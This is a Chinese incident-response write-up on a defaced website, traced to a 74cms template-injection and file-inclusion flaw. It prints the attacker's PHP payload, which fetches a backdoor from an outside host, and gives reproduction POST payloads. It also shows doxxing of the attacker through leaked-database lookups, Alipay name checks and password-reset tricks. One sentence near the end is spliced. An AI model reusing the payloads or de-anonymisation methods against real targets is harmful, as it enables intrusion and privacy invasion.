1. 前言

今年的某月某日，系统监测到客户的一企业官网www.******.com遭到了网页篡改，经过人工确认将浏览器的UA替换为百度UA后访问网站，此时网站链接自动跳转至赌博类违规网站，当日上午随即受到客户的召唤，立刻赶往客户单位进行初步检查，并将相关日志文件及样本拷回做进一步分析。

2. 事件分析

因去到现场时index.php文件已经被网站管理员恢复了，但问题不大，还好这哥们留了个心眼备份了文件index_.php，定位到被篡改的文件为首页面的index_.php，被修改的时间为2021/7/18 18:31:04，可看到攻击者直接替换掉了首页文件的内容。该PHP内容经过判断，来自浏览器各大搜索引擎的UA情况后将其访问跳转至特定的网站，其中$curl=base64_decode("aHR******************W5kZXgucGhwP2hvc3Q9")经过解码后为https://yin*******.com/index.php?host=，该连接可以理解为攻击者的灰色产业流量随机生成跳转页面。

继续对其事件服务器排查，发现其被篡改的网站为小皮软件所搭建，中间件为Apache，其数据库与FTP服务账号密码均为弱口令，而且服务器上共部署了9个网站之多。

3. 攻击分析

使用D盾对其所在的目录进行后门查杀，并查杀出了多个后门文件，其中最早的后门文件存在另一个网站****系统的web目录上被上传的时间为2019/1/11。

发生篡改的系统为服务器上的****系统其目录为r****5，该目录下的后门文件最早的时间为2021/3/17，发生篡改的时间为2021/7/18号，可看到在篡改前2021/7/17是有新的后门文件产生的。

可看到最近的2021/7/17 22:41:34时有条log的日志文件产生，且日志内容带有恶意的后门语句。

跟进到\data\Runtime\Logs\Home目录下查看21_07_17.log，可见22:41:34时162.***.***.***的IP在/index.php?m=home&a=assign_resume_tpl进行了远程文件包含的操作

<?php fputs(fopen("home.php","w"),"notfound!!!<?php file_put_contents('url.php',file_get_contents(base64_decode('aHR***************GkudHh0')));?>")?>

将其内容写入home.php文件并在22:41:36生成到了网站的根目录下。

打开home.php文件可见攻击者已成功将其内容写入至文件中。

其中aHR**********************veGkudHh0经过base64解码得到链接http://******8.top/xi.txt，该内容为php一句话后门语句。

在‏‎22:41:39时攻击者并使用home.php文件远程读取一句话后门的TXT文件并生成了url.php的后门文件，其后门内容与远端TXT文件内容一致。

至此，攻击者在2021/7/18号18:30:31时上传了logo.jpg文件其内容就是index.php恶意跳转的代码，并在18:31:04时替换掉了index.php 达到了篡改的目的。

4. 攻击复现

查看Application目录下的文件，可看到该被入侵篡改网站使用的是74cms所搭建的，其版本为6.0.13。

据了解小于6.0.48的版存在模板注入与文件包含漏洞，恰好被篡改的网站74cms的版本在漏洞版本的范围内，攻击者则是利用了该版本的漏洞达到的getshell的目的，下面将含有漏洞的版本下载至本地搭建复原攻击者漏洞利用的过程。

该漏洞位于/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格，导致了模板注入，可以进行远程命令执行。

访问http://127.0.0.1/index.php?m=home&a=assign_resume_tpl，使用POST方式提交数据：

variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

随后到data\Runtime\Logs\Home目录下产生了错误的log日志文件，并将phpinfo写入到了日志文件中。

接下来就是包含日志里记录的phpinfo语句，POST方式提交

variable=1&tpl=data/Runtime/Logs/Home/21_07_23.log

成功利用文件包含漏洞包含出了phpinfo。

5. 溯源攻击者

经以上分析得知，攻击者在17-18号期间利用该漏洞最终生成了url.php的后门文件，提取出access.log中间件日志文件17到18号的流量，再从其中筛选出url.php的流量情况，共得到45.**.***.***（美国）、27.***.***.***（韩国）、61.***.***.***（香港）三个IP，目测这三个IP均为攻击者的代理IP。

上述得到的攻击参数中，base64解码得到链接http://******8.top/xi.txt为存放一句话的文本，其网站首页为攻击者的个人页面。*****8.top因使用的是Cloudflare服务商的CND加速无法获取到服务器真实的IP，但在查询历史解析时hacker.******8.top二级域名解析过103.***.***.***（香港），经访问该IP这是目前*****.top域名的真实IP。

对103.***.***.***这个IP进行端口探测以及目录扫描，其中根目录下的xin.txt、xi.txt、dama.txt、123.txt均为后门文件的文本格式可见该攻击者应该是职业的黑灰产人员了，根目录下的config.json则为猫池挖矿钱包地址：4AW2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Pass:2021

进一步的信息收集通过对103.***.***.***历史绑定的域名反查，在2021/07/12时heike****.com解析到过该IP。

访问heike****.com可看到该网站为黑客性质类论坛，目前域名解析的IP为154.***.***.***，其443端口为黑客性质与黑产SEO相关网站。

回到*****8.top这个攻击者的个人页面网站，在查看网页源码时发现其显示的头像链接https://q2.qlogo.cn/headimg_dl?dst_uin=77*******&spec=640&img_type=jpg，其源码调用的是QQ头像库的链接，得到QQ号77*******与其QQ资料的头像相同。

使用大数据检索库得到其QQ绑定的手机号为17*********，归属地为内蒙古锡林郭勒，运营商中国电信。

使用支付宝转账功能证实该手机号已实名，并得到某宁名字，且头像为个人自拍帅照一张，资料显示也为内蒙古地区,并且其微信也是绑定该手机号。

经过以上的溯源我们得到了基本的信息，可以确定该攻击者从事的是黑灰产的SEO，专门通过入侵互联网上脆弱的网站植入后门、暗链、跳转劫持等以达到提高其网站的流量与权重，黑帽SEO的盈利模式通常是以访问量来结算的，所以就得有各大平台的流量统计插件来统计访问量，下面继续收集其信息。

访问http://*****8.top/seo/目录在以下统计图标中得到https://www.cnzz.com/stat/website.php?web_id=128******友盟的统计ID。

并在友盟统计登录的忘记密码功能处，输入账号(为前面域名的名)找回密码得到该账号绑定的手机号为159********。

在http://*****8.top/seo/tz.js的跳转脚本中指向http://*****8.top/seo/cps.html页面。

访问该页面得到另一个友盟的统计ID：https://uweb.umeng.com/v1/login.php?siteid=127x******

捕获前面篡改跳转到https://yin*****.com违规网站的js文件，得到到百度统计的ID：https://www.gdjhd.com/images/p2sufc4o0d3.jpg文件替换掉了index.php网站首页的内容使得将网站跳转至赌博网站。

修复建议：

该网站被多次篡改并留存其他攻击者的后门文件时间久远，建议对服务器整个磁盘进行webshell后门查杀。

网站所使用的cms框架版本过低存在高危漏洞，关注骑士cms官网发布补丁以及修复方法http://www.74cms.com/news/show-2497.html。

服务器上的数据库与FTP服务均为弱口令，建议增强口令的复杂度，8位字符以上且具有大小写组合。

7. 小Tisp

类似于这类的页面篡改事件，当我们去现场后该如何开展相应的工作呢。

1.到达客户现场后第一时间告知网站管理人员请勿对被篡改文件进行删除或修改，本次事件的网站管理员就马上把重要证据文件给修改恢复了，但不过还好这位小哥备份了下来，建议去现场前电话跟客户电话沟通好能不动的就不动，最好是直接拔网线断网，留好证据方便后面溯源的工作。

2.到现场后跟网站管理人员，发生篡改后有没有自己进行巡检自己发现什么异常之类的，自主发现的话是什么时候发现的呢，确定好被篡改文件的首次修改时间，对下面核对日志溯源的工作至关重要。

3.通过判断确认该篡改为内容篡改还是跳转劫持类型的，询问网站管理员当前web文件存放的位置除了被篡改的网站还有没有其他系统的网站，都开了那些端口之类的。

4.看当前环境下的拓扑图，看是否有记录流量设备的日志，如果有此次篡改的攻击有没有产生什么相应的告警之类的等等。

5.很多单位的等保系统现在也都部署了网页防篡改系统，但也屡屡发生被篡改的事件，以往的经验来看，部署了还发生篡改的要么就是防护的目录不到位，要么就是上防护之前就已经遗留有后门文件了，还有就是程序员在更新代码时把防护关了后就忘了再次开起来了，所以也要有必要的问一下有没有进行一个查杀后门文件的周期工作，还有防护了那些目录或者页面等。